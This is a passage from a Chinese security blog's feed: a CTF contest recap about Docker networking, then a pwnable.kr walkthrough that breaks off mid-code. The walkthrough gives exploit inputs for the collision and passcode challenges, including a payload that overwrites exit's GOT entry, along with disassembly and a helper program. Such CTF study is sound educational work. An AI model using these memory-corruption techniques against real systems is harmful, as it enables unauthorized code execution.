    <summary type="html">&lt;p&gt;不知道从什么时候开始，突然开始深入研究reverse去了。。。这里记录一种reverse常见的问题以及相关框架的使用方法:&lt;/p&gt;
&lt;h2 id=&quot;more-reverse-with-obfuscation&quot;&gt;&lt;/h2&gt;</summary>
    
    
    
    <category term="Reverse" scheme="https://showlinkroom.me/categories/Reverse/"/>
    
    
    <category term="obfuscation" scheme="https://showlinkroom.me/tags/obfuscation/"/>
    
  </entry>
  
  <entry>
    <title>ciscn线下赛(?)</title>
    <link href="https://showlinkroom.me/2017/08/01/ciscn%E7%BA%BF%E4%B8%8B%E8%B5%9B/"/>
    <id>https://showlinkroom.me/2017/08/01/ciscn%E7%BA%BF%E4%B8%8B%E8%B5%9B/</id>
    <published>2017-08-01T01:31:25.000Z</published>
    <updated>2020-07-16T13:31:30.374Z</updated>
    
    <content type="html"><![CDATA[<p>这次的线下赛完全不顺利嘛，发生了贼多的事情。。不过和各路师傅学了很多技能就是了，也算是收获很大吧:)</p><h2 id="more-ciscn线下赛"><span id="more"></span><br>ciscn线下赛</h2><h2 id="配置环境-docker的bridge-ip-查错">配置环境 – docker的bridge ip 查错</h2><p>这个是当时配环境的时候遇到的问题。我们当时的网络拓扑图大概如下:<br><img src="/2017/08/01/ciscn%E7%BA%BF%E4%B8%8B%E8%B5%9B/ciscn01.png" alt=""><br>具体子网ip不太记得，但是关键是此时路由器的对外ip（？应该说是在总虚拟网络中的ip）是172.17.0.1,然后我们当时配置docker之后发生了奇怪的事情，每次启动docker之后，都没有办法使用ssh连上去，后来发现，docker在安装完成后，会自己生成一个网络适配器：<br><img src="/2017/08/01/ciscn%E7%BA%BF%E4%B8%8B%E8%B5%9B/ciscn02.png" alt=""><br>这个网络适配器导致我们每次往这个服务器上发送数据包的时候，都会走docker的路由从而导致丢包。。。因此我们组当时想到的解决办法就是修改掉docker0的ip，查找资:<br><code>You can configure the default bridge network’s settings using flags to the dockerd command. However, the recommended way to configure the Docker daemon is to use the daemon.json file, which is located in /etc/docker/ on Linux. If the file does not exist, create it. You can specify one or more of the following settings to configure the default bridge network:</code></p><pre><code>&#123;  &quot;bip&quot;: &quot;192.168.1.5/24&quot;,  &quot;fixed-cidr&quot;: &quot;10.20.0.0/16&quot;,  &quot;fixed-cidr-v6&quot;: &quot;2001:db8::/64&quot;,  &quot;mtu&quot;: 1500,  &quot;default-gateway&quot;: &quot;10.20.1.1&quot;,  &quot;default-gateway-v6&quot;: &quot;2001:db8:abcd::89&quot;,  &quot;dns&quot;: [&quot;10.20.1.2&quot;,&quot;10.20.1.3&quot;]&#125;</code></pre><p><code>Restart Docker after making changes to the daemon.json file.</code></p><p>然后我们根据上述的说法，通过在/etc/docker下创建daemon.json文件，就可以修改docker的基本配置了。</p><h2 id="reversing">Reversing</h2><p>这里学了一下南邮师傅的高超操作技巧</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;这次的线下赛完全不顺利嘛，发生了贼多的事情。。不过和各路师傅学了很多技能就是了，也算是收获很大吧:)&lt;/p&gt;
&lt;h2 id=&quot;more-ciscn线下赛&quot;&gt;&lt;/h2&gt;</summary>
    
    
    
    <category term="经验" scheme="https://showlinkroom.me/categories/%E7%BB%8F%E9%AA%8C/"/>
    
    
    <category term="ctf" scheme="https://showlinkroom.me/tags/ctf/"/>
    
  </entry>
  
  <entry>
    <title>pwnable.kr的历险1</title>
    <link href="https://showlinkroom.me/2017/07/18/pwnable-kr%E7%9A%84%E5%8E%86%E9%99%A91/"/>
    <id>https://showlinkroom.me/2017/07/18/pwnable-kr%E7%9A%84%E5%8E%86%E9%99%A91/</id>
    <published>2017-07-18T03:17:32.000Z</published>
    <updated>2020-07-16T13:31:30.397Z</updated>
    
    <content type="html"><![CDATA[<p>近期有个比赛哇。。最近恶补一下pwn把。。</p><h2 id="more-pwnable-kr的历险1"><span id="more"></span><br>pwnable.kr的历险1</h2><h2 id="fd-1-pt">fd - 1 pt</h2><p>这个题目本身挺简单的，就是让argv[1] == 0x1234即可。但是有个神奇的现象，不知道它是怎么编译的，居然再fd = 1和fd = 2的时候都可以读取数据到buf中。。求解释。</p><h2 id="collision-3-pt">collision - 3 pt</h2><p>逻辑就是将一个输入的字符串转换成整形数组(长度为5)，然后将其相加后得到的答案要等于 0x21DD09E。然后考虑到，这个内容如果直接做，不能出现\x00，不然strlen会发生字符串长度截断。所以要保证不能有\x00，于是改一下，变成:</p><pre><code>`python -c &quot;print '\xc8\xce\xc5\x06'*4 + '\xcc\xce\xc5\x06'&quot;`</code></pre><p>这个用到一个linux 操作 –<br><code>command</code> 倒引号 (backticks)<br>倒单引号能够将cmd包括，然后能够执行。</p><h2 id="bof-5-pt">bof - 5 pt</h2><p>简单的栈溢出。直接上脚本:</p><h2 id="passcode-10-pt">passcode - 10 pt</h2><p>这个有点难，我们要记录一下代码</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">login</span><span class="params">()</span>&#123;</span><br><span class="line">        <span class="type">int</span> passcode1;</span><br><span class="line">        <span class="type">int</span> passcode2;</span><br><span class="line"></span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;enter passcode1 : &quot;</span>);</span><br><span class="line">        <span class="built_in">scanf</span>(<span class="string">&quot;%d&quot;</span>, passcode1);</span><br><span class="line">        fflush(<span class="built_in">stdin</span>);</span><br><span class="line"></span><br><span class="line">        <span class="comment">// ha! mommy told me that 32bit is vulnerable to bruteforcing :)</span></span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;enter passcode2 : &quot;</span>);</span><br><span class="line">        <span class="built_in">scanf</span>(<span class="string">&quot;%d&quot;</span>, passcode2);</span><br><span class="line"></span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;checking...\n&quot;</span>);</span><br><span class="line">        <span class="keyword">if</span>(passcode1==<span class="number">338150</span> &amp;&amp; passcode2==<span class="number">13371337</span>)&#123;</span><br><span class="line">                <span class="built_in">printf</span>(<span class="string">&quot;Login OK!\n&quot;</span>);</span><br><span class="line">                system(<span class="string">&quot;/bin/cat flag&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">else</span>&#123;</span><br><span class="line">                <span class="built_in">printf</span>(<span class="string">&quot;Login Failed!\n&quot;</span>);</span><br><span class="line">                <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">        &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">welcome</span><span class="params">()</span>&#123;</span><br><span class="line">        <span class="type">char</span> name[<span class="number">100</span>];</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;enter you name : &quot;</span>);</span><br><span class="line">        <span class="built_in">scanf</span>(<span class="string">&quot;%100s&quot;</span>, name);</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;Welcome %s!\n&quot;</span>, name);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span>&#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;Toddler&#x27;s Secure Login System 1.0 beta.\n&quot;</span>);</span><br><span class="line"></span><br><span class="line">        welcome();</span><br><span class="line">        login();</span><br><span class="line"></span><br><span class="line">        <span class="comment">// something after login...</span></span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;Now I can safely trust you that you have credential :)\n&quot;</span>);</span><br><span class="line">        <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>提示说是passcode，程序带有warning，发现是一个很搞怪的模式：<br>void login(){<br>int passcode1;<br>int passcode2;</p><pre><code>    printf(&quot;enter passcode1 : &quot;);    scanf(&quot;%d&quot;, passcode1);    fflush(stdin);    // ha! mommy told me that 32bit is vulnerable to bruteforcing :)    printf(&quot;enter passcode2 : &quot;);    scanf(&quot;%d&quot;, passcode2);    printf(&quot;checking...\n&quot;);    if(passcode1==338150 &amp;&amp; passcode2==13371337)&#123;            printf(&quot;Login OK!\n&quot;);            system(&quot;/bin/cat flag&quot;);    &#125;    else&#123;            printf(&quot;Login Failed!\n&quot;);            exit(0);    &#125;</code></pre><p>}<br>gdb查看汇编如下：</p><p>0x08048564 &lt;+0&gt;:     push   %ebp<br>0x08048565 &lt;+1&gt;:     mov    %esp,%ebp<br>0x08048567 &lt;+3&gt;:     sub    $0x28,%esp<br>=&gt; 0x0804856a &lt;+6&gt;:     mov    $0x8048770,%eax<br>0x0804856f &lt;+11&gt;:    mov    %eax,(%esp)<br>0x08048572 &lt;+14&gt;:    call   0x8048420 <a href="mailto:printf@plt">printf@plt</a><br>0x08048577 &lt;+19&gt;:    mov    $0x8048783,%eax<br>0x0804857c &lt;+24&gt;:    mov    -0x10(%ebp),%edx<br>0x0804857f &lt;+27&gt;:    mov    %edx,0x4(%esp)<br>0x08048583 &lt;+31&gt;:    mov    %eax,(%esp)<br>0x08048586 &lt;+34&gt;:    call   0x80484a0 <a href="mailto:__isoc99_scanf@plt">__isoc99_scanf@plt</a><br>0x0804858b &lt;+39&gt;:    mov    0x804a02c,%eax<br>0x08048590 &lt;+44&gt;:    mov    %eax,(%esp)<br>0x08048593 &lt;+47&gt;:    call   0x8048430 <a href="mailto:fflush@plt">fflush@plt</a><br>0x08048598 &lt;+52&gt;:    mov    $0x8048786,%eax<br>0x0804859d &lt;+57&gt;:    mov    %eax,(%esp)<br>0x080485a0 &lt;+60&gt;:    call   0x8048420 <a href="mailto:printf@plt">printf@plt</a><br>0x080485a5 &lt;+65&gt;:    mov    $0x8048783,%eax<br>0x080485aa &lt;+70&gt;:    mov    -0xc(%ebp),%edx<br>0x080485ad &lt;+73&gt;:    mov    %edx,0x4(%esp)<br>0x080485b1 &lt;+77&gt;:    mov    %eax,(%esp)<br>0x080485b4 &lt;+80&gt;:    call   0x80484a0 <a href="mailto:__isoc99_scanf@plt">__isoc99_scanf@plt</a><br>0x080485b9 &lt;+85&gt;:    movl   $0x8048799,(%esp)<br>0x080485c0 &lt;+92&gt;:    call   0x8048450 <a href="mailto:puts@plt">puts@plt</a><br>0x080485c5 &lt;+97&gt;:    cmpl   $0x528e6,-0x10(%ebp)<br>0x080485cc &lt;+104&gt;:   jne    0x80485f1 &lt;login+141&gt;<br>0x080485ce &lt;+106&gt;:   cmpl   $0xcc07c9,-0xc(%ebp)<br>0x080485d5 &lt;+113&gt;:   jne    0x80485f1 &lt;login+141&gt;<br>0x080485d7 &lt;+115&gt;:   movl   $0x80487a5,(%esp)<br>0x080485de &lt;+122&gt;:   call   0x8048450 <a href="mailto:puts@plt">puts@plt</a><br>0x080485e3 &lt;+127&gt;:   movl   $0x80487af,(%esp)<br>0x080485ea &lt;+134&gt;:   call   0x8048460 <a href="mailto:system@plt">system@plt</a><br>0x080485ef &lt;+139&gt;:   leave<br>0x080485f0 &lt;+140&gt;:   ret<br>0x080485f1 &lt;+141&gt;:   movl   $0x80487bd,(%esp)<br>0x080485f8 &lt;+148&gt;:   call   0x8048450 <a href="mailto:puts@plt">puts@plt</a><br>0x080485fd &lt;+153&gt;:   movl   $0x0,(%esp)<br>0x08048604 &lt;+160&gt;:   call   0x8048480 <a href="mailto:exit@plt">exit@plt</a></p><p>由于想不到正确的做法发，那么只能强行绕过，执行我们需要的结果了：使用gdb修改eip使其指向0x080485e3<br>/bin/cat: flag: Permission denied<br>Now I can safely trust you that you have credential :)<br>然而提交答案后发现不对，只能猜测必须构造正确的字符串才能够执行。。。。<br>后来发现，mdzz它开始有一个可以注入的位置啊居然就这样跳过了：<br>void welcome(){<br>char name[100];<br>printf(“enter you name : “);<br>scanf(”%100s”, name);<br>printf(“Welcome %s!\n”, name);<br>}</p><p>汇编如下：<br>0x08048609 &lt;+0&gt;:     push   %ebp<br>0x0804860a &lt;+1&gt;:     mov    %esp,%ebp<br>0x0804860c &lt;+3&gt;:     sub    $0x88,%esp<br>=&gt; 0x08048612 &lt;+9&gt;:     mov    %gs:0x14,%eax<br>0x08048618 &lt;+15&gt;:    mov    %eax,-0xc(%ebp)<br>0x0804861b &lt;+18&gt;:    xor    %eax,%eax<br>0x0804861d &lt;+20&gt;:    mov    $0x80487cb,%eax<br>0x08048622 &lt;+25&gt;:    mov    %eax,(%esp)<br>0x08048625 &lt;+28&gt;:    call   0x8048420 <a href="mailto:printf@plt">printf@plt</a><br>0x0804862a &lt;+33&gt;:    mov    $0x80487dd,%eax<br>0x0804862f &lt;+38&gt;:    lea    -0x70(%ebp),%edx<br>0x08048632 &lt;+41&gt;:    mov    %edx,0x4(%esp)<br>0x08048636 &lt;+45&gt;:    mov    %eax,(%esp)<br>0x08048639 &lt;+48&gt;:    call   0x80484a0 <a href="mailto:__isoc99_scanf@plt">__isoc99_scanf@plt</a><br>0x0804863e &lt;+53&gt;:    mov    $0x80487e3,%eax<br>0x08048643 &lt;+58&gt;:    lea    -0x70(%ebp),%edx<br>0x08048646 &lt;+61&gt;:    mov    %edx,0x4(%esp)<br>0x0804864a &lt;+65&gt;:    mov    %eax,(%esp)<br>0x0804864d &lt;+68&gt;:    call   0x8048420 <a href="mailto:printf@plt">printf@plt</a><br>0x08048652 &lt;+73&gt;:    mov    -0xc(%ebp),%eax<br>0x08048655 &lt;+76&gt;:    xor    %gs:0x14,%eax<br>0x0804865c &lt;+83&gt;:    je     0x8048663 &lt;welcome+90&gt;<br>0x0804865e &lt;+85&gt;:    call   0x8048440 <a href="mailto:__stack_chk_fail@plt">__stack_chk_fail@plt</a><br>0x08048663 &lt;+90&gt;:    leave<br>0x08048664 &lt;+91&gt;:    ret<br>那么就很显然了，只要构造一个长度为0x74的padding，加上能够跳转到system语句的内容，就能够完成注入。<br>输入字符串地址为：0xfffddf98</p><p>ebp地址为：0xfffde008</p><p>则注入数据长度为：112 + 地址</p><p>地址为0x080485e3</p><p>尝试发现也不行，这里的scanf中限制了一次性读入的字符串数量。。。这就很尴尬了。<br>上网找了参考后发现，应该利用的是【修改plt的思路】，也就是说</p><p>0x080485fd &lt;+153&gt;:   movl   $0x0,(%esp)<br>0x08048604 &lt;+160&gt;:   call   0x8048480 <a href="mailto:exit@plt">exit@plt</a></p><p>如果密码错误的话，这里会调用0x08048480处的exit，注意到这里是plt，也就是说这里的跳转地址只是跳转到plt表中而已，此时的plt表中的位置不过是一个跳转的地址而已，所以可以通过修正这个跳转地址使得可以跳到目的位置上去。<br>首先使用readelf -r 指令查看当前的重定向位置：</p><pre><code>0804a018  00000707 R_386_JUMP_SLOT   00000000   exit@GLIBC_2.0</code></pre><p>发现此时exit的偏移量为0x0804a018处相关代码为：</p><pre><code>0x08048480 &lt;+0&gt;:     jmp    *0x804a0180x08048486 &lt;+6&gt;:     push   $0x300x0804848b &lt;+11&gt;:    jmp    0x8048410</code></pre><p>内部代码为：<br>0x0804a018中的内容为 0x08048486，也就是跳转回到这个位置。<br>换句话，linker的过程其实就是把这个jmp的跳转地址修改，所以我们也可以如法炮制，通过passcode将内容写入这里。<br>注意到两个函数连续调用，也就是说栈中的变化应该是一致的。于是可以得到不同量的存储位置：</p><pre><code>-0x10(%ebp)：passcode1-0x70(%ebp): name-0x0c(%ebp): passcode2</code></pre><p>0x70 - 100 = 0xc。也就是说写入name的时候的内容会将passcode1给覆盖掉，却不能覆盖到passcode2。然而我们已知passcode1读入的数据会存放到其地址指向的内容中。</p><pre><code>0x0804857c &lt;+24&gt;:    mov    -0x10(%ebp),%edx0x0804857f &lt;+27&gt;:    mov    %edx,0x4(%esp)0x08048583 &lt;+31&gt;:    mov    %eax,(%esp)0x08048586 &lt;+34&gt;:    call   0x80484a0 &lt;__isoc99_scanf@plt&gt;</code></pre><p>（原先是一句错误的内容，我们这里反而要利用这一点，将%edx中的内容替换成我们要输入的位置的坐标）</p><pre><code>'a'*96 + '\x18\xa0\x04\x08' + '134514147'--&gt;注意人家读入的是scanf(&quot;%d&quot;)</code></pre><p>就能够往0x0804a018处写入system的地址，完成注入。</p><h3 id="random-1-pt">random - 1 pt</h3><p>这个考点就是一个随机数。。。直接上C语言即可完成。</p><h3 id="input-4-pt">input - 4 pt</h3><p>当年弃坑就是因为这个题目，这重新看一下L</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;string.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;sys/socket.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;arpa/inet.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">char</span>* argv[], <span class="type">char</span>* envp[])</span>&#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;Welcome to pwnable.kr\n&quot;</span>);</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;Let&#x27;s see if you know how to give input to program\n&quot;</span>);</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;Just give me correct inputs then you will get the flag :)\n&quot;</span>);</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 参数要有100个</span></span><br><span class="line">        <span class="keyword">if</span>(argc != <span class="number">100</span>) <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">        <span class="comment">// 第61个参数是61</span></span><br><span class="line">        <span class="keyword">if</span>(<span class="built_in">strcmp</span>(argv[<span class="string">&#x27;A&#x27;</span>],<span class="string">&quot;\x00&quot;</span>)) <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">        <span class="comment">// 第62个参数是\x20\x0a\x0d</span></span><br><span class="line">        <span class="keyword">if</span>(<span class="built_in">strcmp</span>(argv[<span class="string">&#x27;B&#x27;</span>],<span class="string">&quot;\x20\x0a\x0d&quot;</span>)) <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;Stage 1 clear!\n&quot;</span>);</span><br><span class="line"></span><br><span class="line">        <span class="comment">// stdio</span></span><br><span class="line">        <span class="type">char</span> buf[<span class="number">4</span>];</span><br><span class="line">        <span class="comment">// 然后输入流输入\x00\x0a\x00\xff</span></span><br><span class="line">        read(<span class="number">0</span>, buf, <span class="number">4</span>);</span><br><span class="line">        <span class="keyword">if</span>(<span class="built_in">memcmp</span>(buf, <span class="string">&quot;\x00\x0a\x00\xff&quot;</span>, <span class="number">4</span>)) <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">        <span class="comment">// 然后错误流输入\x00\x0a\x00\xff</span></span><br><span class="line">        read(<span class="number">2</span>, buf, <span class="number">4</span>);</span><br><span class="line">        <span class="keyword">if</span>(<span class="built_in">memcmp</span>(buf, <span class="string">&quot;\x00\x0a\x02\xff&quot;</span>, <span class="number">4</span>)) <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;Stage 2 clear!\n&quot;</span>);</span><br><span class="line"></span><br><span class="line">        <span class="comment">// env</span></span><br><span class="line">        <span class="comment">// 接下来存在环境变量 &#x27;\xde\xad\xbe\xef&#x27;,对应值为&#x27;\xca\xfe\xba\xbe&#x27;</span></span><br><span class="line">        <span class="keyword">if</span>(<span class="built_in">strcmp</span>(<span class="string">&quot;\xca\xfe\xba\xbe&quot;</span>, getenv(<span class="string">&quot;\xde\xad\xbe\xef&quot;</span>))) <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;Stage 3 clear!\n&quot;</span>);</span><br><span class="line"></span><br><span class="line">        <span class="comment">// file</span></span><br><span class="line">        <span class="comment">// 然后存在一个文件叫做\x0a</span></span><br><span class="line">        FILE* fp = fopen(<span class="string">&quot;\x0a&quot;</span>, <span class="string">&quot;r&quot;</span>);</span><br><span class="line">        <span class="keyword">if</span>(!fp) <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">        <span class="comment">// 从文件中读出 4个一字节的数独到buf中</span></span><br><span class="line">        <span class="keyword">if</span>( fread(buf, <span class="number">4</span>, <span class="number">1</span>, fp)!=<span class="number">1</span> ) <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">        <span class="comment">// 文件中的值为\x00\x00\x00\x00</span></span><br><span class="line">        <span class="keyword">if</span>( <span class="built_in">memcmp</span>(buf, <span class="string">&quot;\x00\x00\x00\x00&quot;</span>, <span class="number">4</span>) ) <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">        fclose(fp);</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;Stage 4 clear!\n&quot;</span>);</span><br><span class="line"></span><br><span class="line">        <span class="comment">// network</span></span><br><span class="line">        <span class="type">int</span> sd, cd;</span><br><span class="line">        <span class="class"><span class="keyword">struct</span> <span class="title">sockaddr_in</span> <span class="title">saddr</span>, <span class="title">caddr</span>;</span></span><br><span class="line">        sd = socket(AF_INET, SOCK_STREAM, <span class="number">0</span>);</span><br><span class="line">        <span class="keyword">if</span>(sd == <span class="number">-1</span>)&#123;</span><br><span class="line">                <span class="built_in">printf</span>(<span class="string">&quot;socket error, tell admin\n&quot;</span>);</span><br><span class="line">                <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        saddr.sin_family = AF_INET;</span><br><span class="line">        saddr.sin_addr.s_addr = INADDR_ANY;</span><br><span class="line">        <span class="comment">// 这要求监听一个端口，参数为第63个为端口</span></span><br><span class="line">        saddr.sin_port = htons( atoi(argv[<span class="string">&#x27;C&#x27;</span>]) );</span><br><span class="line">        <span class="keyword">if</span>(bind(sd, (<span class="keyword">struct</span> sockaddr*)&amp;saddr, <span class="keyword">sizeof</span>(saddr)) &lt; <span class="number">0</span>)&#123;</span><br><span class="line">                <span class="built_in">printf</span>(<span class="string">&quot;bind error, use another port\n&quot;</span>);</span><br><span class="line">                <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        listen(sd, <span class="number">1</span>);</span><br><span class="line">        <span class="type">int</span> c = <span class="keyword">sizeof</span>(<span class="keyword">struct</span> sockaddr_in);</span><br><span class="line">        cd = accept(sd, (<span class="keyword">struct</span> sockaddr *)&amp;caddr, (<span class="type">socklen_t</span>*)&amp;c);</span><br><span class="line">        <span class="keyword">if</span>(cd &lt; <span class="number">0</span>)&#123;</span><br><span class="line">                <span class="built_in">printf</span>(<span class="string">&quot;accept error, tell admin\n&quot;</span>);</span><br><span class="line">                <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="comment">// 这个端口上要能够接收到字符串\xde\xad\xbe\xef</span></span><br><span class="line">        <span class="keyword">if</span>( recv(cd, buf, <span class="number">4</span>, <span class="number">0</span>) != <span class="number">4</span> ) <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">        <span class="keyword">if</span>(<span class="built_in">memcmp</span>(buf, <span class="string">&quot;\xde\xad\xbe\xef&quot;</span>, <span class="number">4</span>)) <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;Stage 5 clear!\n&quot;</span>);</span><br><span class="line"></span><br><span class="line">        <span class="comment">// here&#x27;s your flag</span></span><br><span class="line">        system(<span class="string">&quot;/bin/cat flag&quot;</span>);</span><br><span class="line">        <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>好麻烦啊啊。。。。看起来是要靠一波底力了。由于我们看到很多功能只有我们再本地才能实现，所以这里我们再linux下的/tmp/文件夹下写代码（普通目录由于权限问题不能写入）从而完成实验<br>让我们一个个关卡来：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">// 参数要有100个</span><br><span class="line">     if(argc != 100) return 0;</span><br><span class="line">     // 第61个参数是61</span><br><span class="line">     if(strcmp(argv[&#x27;A&#x27;],&quot;\x00&quot;)) return 0;</span><br><span class="line">     // 第62个参数是\x20\x0a\x0d</span><br><span class="line">     if(strcmp(argv[&#x27;B&#x27;],&quot;\x20\x0a\x0d&quot;)) return 0;</span><br></pre></td></tr></table></figure><p>这个地方要求我们传参到指定位置上。这里我们直接使用函数</p><pre><code>execvp(const char *file ,char * const argv []);</code></pre><p>来传递函数即可。我们这里考虑使用execvp的原因在于之后<strong>用到了环境变量的问题</strong>，所以这里动态的增加环境变量</p><pre><code>setenv(const char *name,const char * value,int overwrite);</code></pre><p>然后再进行调用试试：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">#include &lt;stdio.h&gt;</span><br><span class="line">#include &lt;stdlib.h&gt;</span><br><span class="line">#include &lt;string.h&gt;</span><br><span class="line">#include&lt;unistd.h&gt;</span><br><span class="line"></span><br><span class="line">char *args[101];</span><br><span class="line">int main()&#123;</span><br><span class="line">     char* env = &quot;PATH&quot;;</span><br><span class="line">     char* value = &quot;/home/input2&quot;;</span><br><span class="line"></span><br><span class="line">     setenv(env, value, 1);</span><br><span class="line">     int i = 0;</span><br><span class="line">     for(i = 0; i &lt; 100; i++)&#123;                                                                                                                                </span><br><span class="line">         args[i] = malloc(sizeof(char)*20);</span><br><span class="line">     &#125;</span><br><span class="line">     args[100] = 0;</span><br><span class="line">     strcpy(args[&#x27;A&#x27;] ,&quot;\x00&quot;);</span><br><span class="line">     strcpy(args[&#x27;B&#x27;], &quot;\x20\x0a\x0d&quot;);</span><br><span class="line">     printf(&quot;begin\n&quot;);</span><br><span class="line">     execvp(&quot;input&quot;, args);</span><br><span class="line">     return 0;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>没问题，然后进入第二关</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span 